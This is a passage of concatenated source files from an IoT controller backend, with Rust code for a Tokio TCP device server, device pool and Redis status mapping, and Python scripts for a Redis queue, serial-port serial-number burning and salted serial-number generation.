} /// ๅˆ ้™คhash่กจๆŒ‡ๅฎškey็š„ๆŒ‡ๅฎšๅญ—ๆฎต pub async fn hdel(&mut self, key: &str, field: &str) -> Result<u64, ()> { let cli = if let Some(conn) = &mut self.conn { conn } else { error!("Redis conn in RedisConn struct is None"); return Err(()); }; let query: RedisResult<u64> = redis_cmd("hdel") .arg(key).arg(field) .query_async(cli) .await; if let Ok(num) = query { Ok(num) } else { Err(()) } } /// ่ฎพ็ฝฎๆŒ‡ๅฎškey็š„`toggletime`ๅญ—ๆฎต๏ผŒๅนถๅŒๆ—ถ่ฎพ็ฝฎๅฝ“ๅ‰ๆ—ถ้—ดๆˆณ pub async fn hset_toggletime(&mut self, key: &str) -> Result<Option<usize>, ()> { self.hset(key, "toggletime", &format!("{}", self.get_unix_timestamp())).await } /// ่ฎพ็ฝฎๆŒ‡ๅฎškey็š„`status`ๅญ—ๆฎต๏ผŒๅนถๅŒๆ—ถ่ฎพ็ฝฎๅฝ“ๅ‰ๆ—ถ้—ดๆˆณ pub async fn hset_online_with_time(&mut self, key: &str, online: &str) -> Result<u64, ()> { if self.hset(key, "online", online).await.is_err() { error!("set status field 'online' failed: key {}, online {}", key, online); } if self.hset_toggletime(key).await.is_err() { error!("set status field 'toggletime' failed: key {}, online {}", key, online); } Ok(0) } } ``` mxft.py ```#-*- coding: utf-8 -*- import os import serial input_csv = input("่พ“ๅ…ฅsnๆ–‡ไปถ# ") fp, fn = os.path.split(input_csv.strip()) fn, ext = os.path.splitext(fn) output_csv = fn + '-finished' + ext def get_first_sn(fp: str) -> str: with open(fp, 'r') as f: lines = f.readlines() try: ret = lines[0] except IndexError: return '' return ret.strip() def del_first_sn(fp: str): with open(fp, 'r') as f: lines = f.readlines() try: ret = lines.pop(0) except IndexError: return '' with open(fp, 'w') as f: f.write(''.join(lines)) def dump_sn(fp: str, sn) -> str: with open(fp, 'a') as f: f.write(sn+'\n') def wirte_device(sn: str): return with serial.Serial(port='com4', baudrate=115200) as ser: ser.write(sn) def process_a_sn() -> bool: sn = get_first_sn(input_csv) if sn == '': print('ๆฒกๆœ‰snๅทไบ†') return False write_sn = False while True: do = input(f'็กฎๅฎš็ƒงๅ†™({sn})๏ผŸ้ป˜่ฎค็ƒงๅ†™(y/N): ') if do in ['', 'y', 'Y']: write_sn = True break elif do in ['n', 'N']: write_sn = False break print(sn) if write_sn: print(f'ๅผ€ๅง‹็ƒงๅ†™snๅท({sn}) ...') wirte_device(sn) dump_sn(output_csv, sn) del_first_sn(input_csv) print(f'็ƒงๅ†™ๅฎŒๆฏ•') else: while True: next_step = input(' ็จ‹ๅบ้€€ๅ‡บ: 1 \n็ƒงๅ†™ไธ‹ไธ€ๅฐ: 2 #') if next_step == '1': return False elif next_step == '2': return True def check_device(port: str, baudrate: float) -> bool: with serial.Serial(port=port, baudrate=baudrate) as ser: ser.timeout = 1 ser.write(bytes('READY?\n')) ret = ser.readline() if 'NO READY' not in ret: return False return True while True: next_step = input('็ƒงๅฝ•ไธ‹ไธ€ๅฐ?้ป˜่ฎคไธ‹ไธ€ๅฐ(y/N): ') if next_step in ['', 'y', 'Y']: stats = process_a_sn() if stats is False: print(f'้€€ๅ‡บ ...') break elif next_step in ['n', 'N']: print(f'้€€ๅ‡บ ...') break print('\n') ``` map2redis.rs ```#[allow(unused_imports)] use log::{ error, info, warn, }; use crate::middleware_wrapper::redis_wrapper::{ NAMESPACE_DEVICE_STATUS, NAMESPACE_DEVICES_BORN, NAMESPACE_DEVICES_COMMON_EVENT_NOTIFY, }; use super::device::Device; use super::super::middleware_wrapper::redis_wrapper::RedisConn; pub struct Device2redis { pub dev: Device, pub redis_conn: RedisConn, } impl Device2redis { pub async fn new(dev: Device, ip: &str, port: &str) -> Result<Device2redis, ()> { if let Ok(conn) = RedisConn::new(ip, port).await { Ok(Device2redis { dev: dev, redis_conn: conn }) } else { error!("connection redis fail, "); Err(()) } } /// ๆ›ดๆ–ฐ่ฎพๅค‡ๅœจ็บฟ็Šถๆ€๏ผŒ็”จไบŽๆฏๆฌกๆ”ถๅˆฐๆถˆๆฏ๏ผŒๅฐฑๆ›ดๆ–ฐ่ฎพๅค‡ๅœจ็บฟ, ไธป่ฆๆ›ดๆ–ฐstatus onlineๅญ—ๆฎตๅ’ŒๆทปๅŠ online pub async fn update_online_status(&mut self) -> bool { info!("update 'online' failed: sn {}", self.dev.sn); if self.redis_conn.hset(&format!("{}/{}", NAMESPACE_DEVICE_STATUS, self.dev.sn), "online", "true").await.is_err() { error!("update 'online' failed: sn {}", self.dev.sn); return false; } if let Err(_) = self.redis_conn.zadd_device_alive_with_timestamp(&self.dev.sn).await { error!("set redis fail"); return false; } true } pub async fn activate(&mut self) -> bool { // ๆทปๅŠ ๅˆฐๅœจ็บฟ่ฎพๅค‡้›†ๅˆไธญ if let Err(_) = self.redis_conn.zadd_device_alive_with_timestamp(&self.dev.sn).await { error!("set redis fail"); return false; } // ่ฎพ็ฝฎstatusๅœจ็บฟ็Šถๆ€ if let Err(_) = self.redis_conn.hset_online_with_time(&format!("{}/{}", NAMESPACE_DEVICE_STATUS, self.dev.sn), "true").await { let _ = self.redis_conn.zrem_devices_alive(&self.dev.sn).await; error!("set redis fail"); return false; } // ๆธ…็†ไธŠ่กŒ้“พ่ทฏๅ’Œไธ‹่กŒ้“พ่ทฏ็ผ“ๅญ˜ let _ = self.redis_conn.hdel(&*format!("{}/{}", NAMESPACE_DEVICE_STATUS, self.dev.sn), "uplink").await; let _ = self.redis_conn.hdel(&*format!("{}{}", NAMESPACE_DEVICE_STATUS, self.dev.sn), "downlink").await; // ๅฆ‚ๆžœ็ฌฌไธ€ๆฌกๆฟ€ๆดป็š„่ฎพๅค‡๏ผŒๆทปๅŠ ๅˆฐbornๆœ‰ๅบ้›†ๅˆไธญ match self.redis_conn.zrank(NAMESPACE_DEVICES_BORN, &self.dev.sn).await { Ok(e) => { if let None = e { if let Err(_) = self.redis_conn.zadd_device_born_with_timestamp(&self.dev.sn).await { warn!("add the born set fail"); false } else { true } } else { true } } Err(_) => { false } } } pub async fn deactivate(&mut self) -> bool { warn!("device offline"); // ่ฎพ็ฝฎๅœจ็บฟ็Šถๆ€ไธบfalse let v1 = match self.redis_conn.hset_online_with_time(&format!("{}/{}", NAMESPACE_DEVICE_STATUS, self.dev.sn), "false").await { Ok(_) => true, Err(_) => { error!("set redis fail"); false } }; // ไปŽๅœจ็บฟ่ฎพๅค‡้›†ๅˆไธญๅˆ ้™ค let v2 = match self.redis_conn.zrem_devices_alive(&self.dev.sn).await { Ok(_) => true, Err(_) => { error!("set redis fail"); false } }; v1 && v2 } pub async fn readline_downlink(&mut self) -> Result<String, ()> { if let Ok(v) = self.redis_conn.hget(&*format!("{}/{}", NAMESPACE_DEVICE_STATUS, self.dev.sn), "downlink").await { // ่ฏปๅฎŒๅ€ผๅฐฑไปŽredisๅˆ ้™คๆމ let _ = self.redis_conn.hdel(&*format!("{}/{}", NAMESPACE_DEVICE_STATUS, self.dev.sn), "downlink").await; Ok(v) } else { Err(()) } } // ๅ†™ไธŠ่กŒackๆถˆๆฏ pub async fn write_uplink(&mut self, msg: &str) -> Result<Option<usize>, ()> { info!("push msg to uplink {}", msg); self.redis_conn.hset(&*format!("{}/{}", NAMESPACE_DEVICE_STATUS, self.dev.sn), "uplink", msg).await } /// ๆ‰€ๆœ‰่ฎพๅค‡็š„eventๆถˆๆฏ้ƒฝๆŽจๅ…ฅ็›ธๅŒ็š„keyไธบ"csod/mq/p5"้˜Ÿๅˆ— pub async fn notify_event(&mut self, msg: &str) -> Result<Option<usize>, ()> { self.redis_conn.push_to_list(NAMESPACE_DEVICES_COMMON_EVENT_NOTIFY, msg).await } } /// redisๅŸบๆœฌๆต‹่ฏ• #[cfg(test)] mod test_redis_conn { use futures::executor::block_on; use super::Device; use super::Device2redis; #[test] fn test_deactivate() { let d2r = block_on(Device2redis::new(Device::new("test".to_string()), "127.0.0.1", "6379")); block_on(d2r.unwrap().activate()); //assert_eq!(Ok(_), block_on(d2r.unwrap().activate())); } }``` communication.py ```#-*- coding: utf-8 -*- # # A cross-platform Mssage queue based redis # from gevent import monkey monkey.patch_all() import redis import Config as cfg class MessageQueue: def __init__(self, db=0, priority='p5'): self._queue = redis.StrictRedis(host=cfg.REDIS_ADDR, port=cfg.REDIS_PORT, db=0) self._priority = priority def get_priority(self) -> str: return self._priority def put(self, value): if not isinstance(value, str): raise RuntimeError("Must be a str type to put the queue of redis") self._queue.lpush(self._priority, value) def get(self, block=True, encoding='utf-8'): if block: v = self._queue.brpop(self._priority) else: v = self._queue.rpop(self._priority) if v is None: return None else: _, v = v if encoding: v = str(v, encoding=encoding) return v def clear(self, priority='p5'): self._queue.delete(priority) # In[] if __name__ == '__main__': mq = MessageQueue() mq.clear() mq.put('12') mq.put('14') mq.put('16') v = mq.get(block=True) print(v) ``` main.rs ```#[allow(unused_imports)] use log::{ error, info, }; use common::config; use http_service as hs; mod http_service; mod middleware; mod common; fn main() { // ๅŠ ่ฝฝ้…็ฝฎ let sysconf: config::Config = config::load_config("cfg.toml", true); config::log_init(sysconf.log); hs::main::launch(sysconf.http_service, sysconf.redis).expect("error inside occurs"); }``` foo.py ``` import device_support from devicepool import devicesocketpool as dsp print(dsp.get_device_num()) ''' test = [] def call_ping(sn, device): device.ping() test.append(device.sn) return sn, "OK" gs = [] for e in devices.items(): g = gevent.spawn(call_ping, *e) gs.append(g) for e in gs: e.join() print(test) print(len(test)) '''``` device.rs ```//!# Device and Device Pool, in which read/write opreation between threads safety //!### Example //! ``` //! let devicepool = Arc::new(RwLock::new(device::DevicePool::new())); //! let mut thread_vec = vec![]; //! for sn_idx in 0..3000 { //! let devicepool_clone = devicepool.clone(); //! let t = thread::spawn(move || { //! let sn = format!("sn/{}", sn_idx); //! let arc_d = Arc::new(RwLock::new(device::Device::new(sn.clone()))); //! //! { //! devicepool_clone //! .write() //! .unwrap() //! .put_device(sn.clone(), arc_d.clone()); //! let dsp = devicepool_clone.read().unwrap(); //! let dn = dsp.get_devices_num(); //! info!("thread: {} dn = {}", sn_idx, dn); //! } //! { //! let mut dsp = devicepool_clone.write().unwrap(); //! let advice_lock = dsp.get_device_ref(&sn).unwrap(); //! let adevice = advice_lock.read().unwrap(); //! info!("sn: {}, is alive, {}", (*adevice).is_alive(), (*adevice).get_sn()); //! } //! }); //! //! thread_vec.push(t); //! } //! //! for t in thread_vec { //! t.join().unwrap(); //! } //! info!("pool len: {}", devicepool.read().unwrap().get_devices_num()); //! info!( //! "alive pool len: {}", //! devicepool.read().unwrap().get_alive_devices_num() //! ); //! ``` #![allow(dead_code)] use crate::connection; use crate::messagequeue::MQ; use log::{error, info, warn}; use std::borrow::Borrow; use std::collections::HashMap; use std::io::{BufRead, BufReader, BufWriter, Write}; use std::net::TcpStream; use std::ops::Deref; use std::sync::{Arc, RwLock}; use std::thread; use std::time::{Duration, SystemTime}; pub enum ReadWriteErrorCode { FLUSHFAIL, CONNECTIONBROKEN, TIMEOUT, NULLSTREAM, DATAINVAILD, NULLDATA, } pub fn get_sn_from_string(info: String) -> String { String::from(info) } /// ## Read line from a TCPStream /// Return the line or a Err pub fn read_line(stream: &TcpStream) -> Result<String, String> { let mut reader: BufReader<&TcpStream> = BufReader::new(&stream); let mut recv_str = String::new(); match reader.read_line(&mut recv_str) { Ok(v) => { if v > 0 { Ok(recv_str) } else { Err(String::from("NULL")) } } _ => Err(String::from("Read Fail")), } } /// ## Write a string line to TcpStream /// If the the end of param String is not `\n`, will pad it to the end. /// /// It cannot raise the error resulted in Socket peer broken. pub fn write_line(stream: &TcpStream, line: String, flush: bool) -> Result<usize, String> { let mut writer: BufWriter<&TcpStream> = BufWriter::new(&stream); let mut byte_line: Vec<u8> = line.as_bytes().to_vec(); if byte_line[byte_line.len() - 1] != 0xa { byte_line.push(0xa); } match writer.write_all(byte_line.as_slice()) { Ok(_) => { if flush { if let Err(e) = writer.flush() { error!("flush error: {}", e); return Err(String::from("Flush Error")); } } Ok(byte_line.len()) } _ => Err(String::from("Error")), } } /// ## Device bind to a unique sn(Serial Number) /// ``` /// let sn = String::from("12/132435"); /// let d = device::Device::new(sn.clone()); /// ``` pub struct Device { /// Unique serial number pub sn: String, /// A Tcp stream will be keep as a long connection. pub stream: Option<TcpStream>, /// the time of latest connection coming. born_time: SystemTime, /// Whether keep online. is_alive: bool, /// The time of last heartbeat to device. last_heart_time: SystemTime, /// The heartbeat period. heartbeat_period: Duration, } #[cfg(test)] mod device_tests { use crate::device::Device; use std::sync::{Arc, RwLock}; use std::thread::sleep; use std::time::{Duration, SystemTime}; #[test] fn test_device() { assert_eq!(1, 1); } #[test] fn test_device_set_get_sn() { let mut device: Device = Device::new("sn123".to_string()); assert_eq!(device.get_sn(), "sn123"); device.set_sn("sn456".to_string()); assert_eq!(device.get_sn(), "sn456"); } #[test] fn test_device_get_alive_time() { let device: Device = Device::new("sn123".to_string()); assert_eq!(device.get_alive_time() < Duration::from_nanos(1000), true); sleep(Duration::from_secs(4)); assert_eq!(device.get_alive_time() >= Duration::from_secs(4), true); assert_eq!(device.get_alive_time() <= Duration::from_secs(5), true); } #[test] fn test_is_alive() { let mut device: Device = Device::new("sn123".to_string()); assert_eq!(device.is_alive(), true); device.deactivate(); assert_eq!(device.is_alive(), false); } #[test] fn test_is_heartbeat_timeout() { let mut device: Device = Device::new("sn123".to_string()); assert_eq!(device.is_heartbeat_timeout(), false); assert_eq!(device.is_alive(), true); device.set_heartbeat_period(Duration::from_secs(3)); sleep(Duration::from_secs(4)); assert_eq!(device.is_heartbeat_timeout(), true); device.update_heartbeat_timestamp_auto(); assert_eq!(device.is_heartbeat_timeout(), false); } } impl Device { /// Create a Device with it's sn pub fn new(sn: String) -> Device { Device { sn: sn, stream: None, born_time: SystemTime::now(), is_alive: true, last_heart_time: SystemTime::now(), heartbeat_period: Duration::from_secs(90), } } /// Create a Device with it's sn and born time pub fn new_with_sn_borntime(sn: String, born_time: SystemTime) -> Device { Device { sn: sn, stream: None, born_time: born_time, is_alive: true, last_heart_time: born_time.clone(), heartbeat_period: Duration::from_secs(90), } } /// Set the period of heartbeaqt pub fn set_heartbeat_period(&mut self, period: Duration) { info!("set heartbeat to {:?}", period); self.heartbeat_period = period; } /// Is over the heartbeat. At time, should send the pinqqg/pong message. pub fn is_heartbeat_timeout(&self) -> bool { if let Ok(elapsed) = self.last_heart_time.elapsed() { elapsed > self.heartbeat_period } else { info!( "The last heartbeat time is invaild: {:?}", self.last_heart_time ); panic!("The last heartbeat time is invaild") } } /// Query the device whether alive. pub fn is_alive(&self) -> bool { self.is_alive } /// Push online to mq pub fn push_online_msg(&self, mq: &mut MQ) -> Result<(), ()> { let msg = format!("{{ \"type\": \"online\", \"sn\": \"{}\" }}", self.sn); match mq.push(msg.to_string().borrow()) { Ok(_) => Ok(()), Err(_) => Err(()), } } /// set the status of alive pub fn activate(&mut self, stream: TcpStream) { self.is_alive = true; self.stream = Some(stream); self.last_heart_time = SystemTime::now(); } // disable a device pub fn deactivate(&mut self) { warn!("deactive device({})", self.get_sn()); self.is_alive = false; self.stream = None; } /// Get the sn pub fn get_sn(&self) -> &str { &self.sn } /// Set a sn pub fn set_sn(&mut self, sn: String) { self.sn = sn; } /// Get the time of born of the device pub fn get_born_time(&self) -> SystemTime { self.born_time } /// Set the time of born of the device pub fn set_born_time(&mut self, born_time: SystemTime) { self.born_time = born_time; } /// get the alive time pub fn get_alive_time(&self) -> Duration { self.born_time.elapsed().unwrap() } /// Update the last heartbeat time pub fn update_heartbeat_timestamp(&mut self, time: SystemTime) { self.last_heart_time = time; } /// Update the last heartbeat time with auto padding pub fn update_heartbeat_timestamp_auto(&mut self) { self.update_heartbeat_timestamp(SystemTime::now()); info!("update the heartbeat timestamp {:?}", self.last_heart_time); } /// Set a Stream to device pub fn set_stream(&mut self, stream: TcpStream) { self.stream = Some(stream); } /// Response pong to device ping pub fn echo_pong(&mut self) -> Result<(), ()> { info!("ping from the device({})", self.get_sn()); let pong_msg = "{\"type\":\"pong\"}".to_string(); match self.writeline(pong_msg, true) { Ok(_) => Ok(()), Err(_) => { warn!("pong fail, deactivate the device"); self.deactivate(); Err(()) } } } /// ## Write a string line to TcpStream /// If the the end of param String is not `\n`, will pad it to the end. /// /// It cannot raise the error resulted in Socket peer broken. pub fn writeline(&mut self, msgline: String, flush: bool) -> Result<usize, ReadWriteErrorCode> { let mut byte_line: Vec<u8> = msgline.as_bytes().to_vec(); // Padding the `\n` to the end of line if byte_line[byte_line.len() - 1] != 0xa { byte_line.push(0xa); } match &self.stream { Some(stream) => { let mut writer: BufWriter<&TcpStream> = BufWriter::new(&stream); match writer.write_all(byte_line.as_slice()) { Ok(_) => { if flush { if let Err(e) = writer.flush() { error!("flush error with sn({}): {:?}", self.sn, e); return Err(ReadWriteErrorCode::FLUSHFAIL); } } Ok(byte_line.len()) } _ => { error!("connection broken: {}", self.sn); Err(ReadWriteErrorCode::CONNECTIONBROKEN) } } } None => { error!("No stream: {}", self.sn); Err(ReadWriteErrorCode::NULLSTREAM) } } } /// ## Read line from a TCPStream /// Return the line or a Err pub fn readline(&mut self) -> Result<String, ReadWriteErrorCode> { match &self.stream { Some(stream) => { let mut reader: BufReader<&TcpStream> = BufReader::new(&stream); let mut recv_str = String::new(); match reader.read_line(&mut recv_str) { Ok(v) => { if v > 0 { Ok(recv_str) } else { // warn!("no data can be read with sn({})", self.sn); Err(ReadWriteErrorCode::NULLDATA) } } _ => { // warn!("stream may be close by peer device with sn({})", self.sn); Err(ReadWriteErrorCode::CONNECTIONBROKEN) } } } None => Err(ReadWriteErrorCode::NULLSTREAM), } } /// /// That api can only be used at Web API. pub fn readline_timeout(&mut self, timeout: usize) -> Result<String, ReadWriteErrorCode> { let mut err = ReadWriteErrorCode::NULLDATA; // try to read every 0.5s for _ in 0..(timeout * 2) { match self.readline() { Ok(msg) => match connection::parse_msg_type(&msg) { connection::MESTYPE::HEARTBEAT => { if let Ok(_) = self.echo_pong() { info!("get the heartbeat data: {}", msg); self.update_heartbeat_timestamp_auto(); } } connection::MESTYPE::RAWDATA => { info!("get the rawdata: {}", msg); return Ok(msg); } connection::MESTYPE::INVAILD => { warn!("get the invalid data: {}", msg); } }, Err(e) => { err = e; } } thread::sleep(Duration::from_millis(500)); } Err(err) } } /// # DevicePool to maintain those TCP Connection between Server and devices /// ``` /// let mut dsp = device::DevicePool::new(); /// let sn = String::from("12/132436"); /// dsp.put_device(sn.clone(), device::Device::new(sn.clone())); /// ``` pub struct DevicePool { devices: HashMap<String, Arc<RwLock<Device>>>, } impl DevicePool { /// Create a DevicePool instance. pub fn new() -> DevicePool { DevicePool { devices: HashMap::new(), } } /// Get the number of total device in the DevicePool pub fn get_devices_num(&self) -> usize { self.devices.len().into() } /// Get the number of alive device in the DevicePool pub fn get_alive_devices_num(&self) -> usize { let mut alive_cnt: usize = 0; for (_k, v) in self.devices.iter() { alive_cnt = if v.read().unwrap().is_alive { alive_cnt + 1 } else { alive_cnt } } alive_cnt } /// Query a device whether alive by sn pub fn is_alive(&mut self, sn: &String) -> bool { match self.get_device_ref(sn) { Some(d) => d.read().unwrap().is_alive(), _ => false, } } /// Query a device in the pool pub fn is_in_pool(&self, sn: &String) -> bool { self.devices.contains_key(sn) } /// Get the reference of device specified by sn pub fn get_device_ref(&mut self, sn: &String) -> Option<Arc<RwLock<Device>>> { if self.get_devices_num() == 0 { None } else { if let Some(d) = self.devices.get_mut(sn) { Some(d.deref().clone()) } else { None } } } /// Put a device with sn to the DevicePool pub fn put_device(&mut self, sn: String, device: Arc<RwLock<Device>>) { self.devices.insert(sn, device); } } ``` generate-salt-sn.py ```import hashlib import string import time def md5(s: str, encode="utf-8") -> str: md = hashlib.md5() md.update(s.encode(encode)) return md.hexdigest() def salted_sn(raw_sn: str, salt='anbwscx') -> str: salted = md5(raw_sn + salt) return (raw_sn + salted[-3:]).upper() def generate_date_mark(year, month, day): year_mark = {2020+year: mark for year, mark in enumerate(string.ascii_uppercase)} month_mark = {i: hex(i)[2:].upper() for i in range(1, 13)} day_mark = {day+1: mark for day, mark in enumerate( ''.join([str(i) for i in range(1, 10)]) + string.ascii_uppercase)} return year_mark[year] + month_mark[month] + day_mark[day] def generate_s(product_id, year, month, day, serial_start, serial_end, title, f): if not title: f.write(title+'\n') for e in range(serial_start, serial_end+1): raw_sn = product_id + generate_date_mark(year, month, day) print(f'raw_sn {raw_sn}') sn1_salted = salted_sn(raw_sn + f'{hex(e)[2:]:>04}') print(sn1_salted, len(sn1_salted)) f.write(sn1_salted+'\n') if __name__ == '__main__': print(''' --------------------------------------- sn็”Ÿๆˆๅ™จ [ๆณจๆ„] ๆ—ฅๆœŸๆฒกๆœ‰ๅคงๅฐๅนด๏ผŒๅคงๅฐๆœˆๆ ก้ชŒ --------------------------------------- ''') year, month, day = int(input(" ่พ“ๅ…ฅๅนด# ")), int( input(" ่พ“ๅ…ฅๆœˆ# ")), int(input(" ่พ“ๅ…ฅๆ—ฅ# ")) assert 2020 <= year <= 2045, 'ๅนด้”™่ฏฏ' assert 1 <= month <= 12, 'ๆœˆ้”™่ฏฏ' assert 1 <= day <= 31, 'ๆ—ฅ้”™่ฏฏ(ๆฒกๆœ‰ๅคงๅฐๆœˆ๏ผŒๅนณๆถฆๆ ก้ชŒ)' serial_start = int(input(" ่พ“ๅ…ฅๆตๆฐดๅท่ตทๅง‹็ผ–ๅท# ")) serial_end = int(input(" ่พ“ๅ…ฅๆตๆฐดๅทๆˆชๆญข็ผ–ๅท# ")) print(''' --------------------------------------- ไธ€่ทฏๆŽงๅˆถๅ™จ+ๆ‰‹ๅŠจๅผ€ๅ…ณ+ไฟกๅท่พ“ๅ…ฅ+ๅฎšๆ—ถๅŠŸ่ƒฝ: A0A ไธ€่ทฏๆŽงๅˆถๅ™จ+ๆ‰‹ๅŠจๅผ€ๅ…ณ+ไฟกๅท่พ“ๅ…ฅ+ๅฎšๆ—ถๅŠŸ่ƒฝ+ๆธฉๆนฟๅบฆ: A0B ไธค่ทฏๆŽงๅˆถๅ™จ+2่ทฏๆ‰‹ๅŠจๅผ€ๅ…ณ+ๅฎšๆ—ถๅŠŸ่ƒฝ: A1C ไธค่ทฏๆŽงๅˆถๅ™จ+2่ทฏๆ‰‹ๅŠจๅผ€ๅ…ณ+ไฟกๅท่พ“ๅ…ฅ+ๅฎšๆ—ถๅŠŸ่ƒฝ+ๆธฉๆนฟๅบฆ: A1D ๅ››่ทฏๆŽงๅˆถๅ™จ+4่ทฏๆ‰‹ๅŠจๅผ€ๅ…ณ+ๅฎšๆ—ถๅŠŸ่ƒฝ+ ๆธฉๆนฟๅบฆ+ไฟกๅท่พ“ๅ…ฅ: A2E ---------------------------------------''') product_id = input(" ่พ“ๅ…ฅไบงๅ“ID# ") assert product_id in ['A0A', 'A0B', 'A1C', 'A1D', 'A2E'], '้”™่ฏฏ็š„ID' csv = f'salted_sn-{time.time()}.csv' with open(csv, 'w+') as f: generate_s(product_id, year, month, day, serial_start, serial_end, 'Controller', f) print(f''' ------------------------------------- ่พ“ๅ‡บๅˆฐ{csv} ''') ``` connection.rs ```#[allow(dead_code)] use log::{error, info, warn}; use tokio::{ io::BufReader, io::BufWriter, net::tcp::ReadHalf, net::tcp::WriteHalf, net::TcpListener, net::TcpStream, prelude::*, runtime, stream::StreamExt, time::Duration, time::timeout, }; use tcp_err::ServerError; use crate::common::config::PerceptionServiceConfig as PerceptCfg; use crate::common::config::RedisConfig as RedisCfg; use crate::middleware_wrapper::json_wrapper::{ is_heartbeat, MESTYPE, parse_msg_type, }; use crate::perception_service::map2redis; use super::device; //use std::net::Shutdown; #[allow(non_camel_case_types)] mod tcp_err { #[derive(Debug)] pub enum ServerError { Broken, INVALID_DATA, } } async fn readline<'a>(stream: &'a mut BufReader<ReadHalf<'_>>) -> Result<String, ServerError> { let mut line = String::new(); match stream.read_line(&mut line).await { Ok(n) => { if n > 0 { Ok(line) } else { Err(ServerError::Broken) } } Err(e) => { warn!("connection error: {}", e); Err(ServerError::Broken) } } } fn check_sn(sn: &str) -> bool { match sn.len() { 13 => { true } _ => { false } } } /// ๆกๆ‰‹ๆˆๅŠŸ่ฟ”ๅ›žsn async fn handshake<'a>(reader: &'a mut BufReader<ReadHalf<'_>>) -> Result<String, ()> { let pinsn: String; for _ in 0..4 { if let Ok(msg) = readline(reader).await { if let Some(sn) = is_heartbeat(&msg) { info!("sn {}", sn); pinsn = sn.clone().trim().to_string(); if check_sn(&pinsn) { return Ok(pinsn); } else { error!("invalid sn {}", pinsn); return Err(()); } } } tokio::time::delay_for(Duration::from_millis(100)).await; } error!("handshake failed"); Err(()) } async fn writeline<'a>( stream: &'a mut BufWriter<WriteHalf<'_>>, line: String, ) -> Result<usize, ServerError> { let mut byte_line: Vec<u8> = line.trim().as_bytes().to_vec(); if byte_line.len() == 0 { return Err(ServerError::INVALID_DATA); } byte_line.push('\n' as u8); match stream.write_all(&mut byte_line).await { Ok(_) => { if stream.flush().await.is_err() { warn!("flush with writeline tcp fail") } info!("write msg -> {:?}", line); Ok(byte_line.len()) } Err(_) => { info!("write broken"); Err(ServerError::Broken) } } } async fn echo_pong<'a>(stream: &'a mut BufWriter<WriteHalf<'_>>) -> Result<usize, ServerError> { let pong_msg = "{\"type\":\"pong\"}".to_string(); writeline(stream, pong_msg).await } /// ่ฟžๆŽฅๅค„็†Handler async fn handler(mut stream: TcpStream, hb_interval: u64, redis_cfg: RedisCfg) { let (stream_read, stream_write) = stream.split(); let mut stream_reader: BufReader<ReadHalf<'_>> = BufReader::new(stream_read); let mut stream_writer: BufWriter<WriteHalf<'_>> = BufWriter::new(stream_write); // ็ญ‰ๅพ…ๆ–ฐ่ฟžๆŽฅ40sไธŠๆŠฅsnไฟกๆฏ๏ผŒ่ถ…ๆ—ถ้€€ๅ‡บ(40sๆฅ่‡ชๅนถๅ‘ๆต‹่ฏ•๏ผŒๅฝ“็žฌ้—ดๅ‘่ตทๅคง้‡่ฟžๆŽฅๆ—ถ๏ผŒไปŽosๅฑ‚้ขๆ— ๆณ•ๅŠๆ—ถๅฐ†่ฟ™ไบ›ๆ•ฐๆฎไธŠๆŠฅๅˆฐๅบ”็”จๅฑ‚) let sn = if let Ok(Ok(v)) = timeout(Duration::from_millis(40000), handshake(&mut stream_reader)).await { if let Ok(_) = echo_pong(&mut stream_writer).await { info!("handshake ok, from device(sn {})", v); v } else { error!("echo pong msg failed"); return; } } else { error!("invalid sn connection"); return; }; // ๅˆ›ๅปบ่ฎพๅค‡ let mut dev = device::Device::new(sn.clone()); dev.set_heartbeat_period(Duration::from_secs(hb_interval)); // ๅˆ›ๅปบๆ˜ ๅฐ„ๅˆฐredis็š„่ฎพๅค‡ let mut dev2redis: map2redis::Device2redis; if let (Some(ip), Some(port)) = (&redis_cfg.ip, &redis_cfg.port) { if let Ok(v) = map2redis::Device2redis::new(dev, ip, port).await { dev2redis = v; } else { error!("create dev2redis instance fail, redis is running ?"); return; } } else { error!("have no redis config info"); return; } // ๆฟ€ๆดป่ฎพๅค‡๏ผŒๅŒ…ๆ‹ฌๅ‘redisๆทปๅŠ ่ฎพๅค‡ไธŠ็บฟไฟกๆฏ info!("device: {:?}", dev2redis.dev.sn); if !dev2redis.activate().await { error!("activated device({}) fail", dev2redis.dev.sn); if !dev2redis.deactivate().await { error!("deactivated device({}) fail", dev2redis.dev.sn); } return; } // ๅพช็Žฏๅค„็†่ฎพๅค‡ๆถˆๆฏ loop { tokio::select! { read_up = readline(&mut stream_reader) => { if let Ok(msg) = read_up { dev2redis.update_online_status().await; // ๆ”ถๅˆฐๆถˆๆฏ๏ผŒๅฐฑๆ›ดๆ–ฐredisไธญๅœจ็บฟ็Šถๆ€ dev2redis.dev.update_last_heartbeat_time_now(); // ๆ”ถๅˆฐๆถˆๆฏ๏ผŒๅฐฑๆ›ดๆ–ฐๆœฌๅœฐๅฟƒ่ทณ่ถ…ๆ—ถ่ฎกๆ—ถ match parse_msg_type(&msg) { MESTYPE::HEARTBEAT => { if echo_pong(&mut stream_writer).await.is_err() { warn!("pong to heartbeat failed: dev {}, msg {}", dev2redis.dev.sn, msg); } } MESTYPE::RAWDATA => { info!("push event: {:?}", &msg); if dev2redis.notify_event(&msg).await.is_err() { warn!("push event failed: dev {}, msg {}", dev2redis.dev.sn, msg); } } MESTYPE::ACK => { info!("ack type {}", &msg); if dev2redis.write_uplink(&msg).await.is_err() { warn!("write uplink stream failed: dev {}, msg {}", dev2redis.dev.sn, msg); } } MESTYPE::INVALID => { warn!("invalid data: dev {}", dev2redis.dev.sn); } } } } result = dev2redis.readline_downlink() => { if let Ok(msg) = result { info!("down link msg: {:?}", msg); if let Ok(_) = writeline(&mut stream_writer, msg.clone()).await { info!("send ok: {}", msg); } else { warn!("send failed") } } } } // ๅˆคๆ–ญๆ˜ฏๅฆ่ฟ‡ๆœŸ, ่ฟ‡ๆœŸๅˆ™่ฎพๅค‡็ฆป็บฟ if !dev2redis.dev.is_alive_update() { dev2redis.deactivate().await; return; } tokio::time::delay_for(Duration::from_millis(100)).await; } } /// ็›‘ๅฌ็ซฏๅฃ๏ผŒๆดพๅ‘่ฟžๆŽฅ fn coroutines_start(ip: String, port: String, hb_interval: u64, redis_cfg: RedisCfg) -> Result<(), Box<dyn std::error::Error>> { // ๅˆ›ๅปบ่ฐƒๅบฆๅ™จ let mut rt = runtime::Builder::new() .threaded_scheduler() .enable_all() .build()?; let addr = format!("{}:{}", ip, port); rt.block_on(async move { let mut listener = match TcpListener::bind(&addr).await { Ok(listener) => listener, Err(e) => { panic!("open port error: {}", e); } }; // Create listener. info!("open the addr to listen {}", addr); let mut incoming = 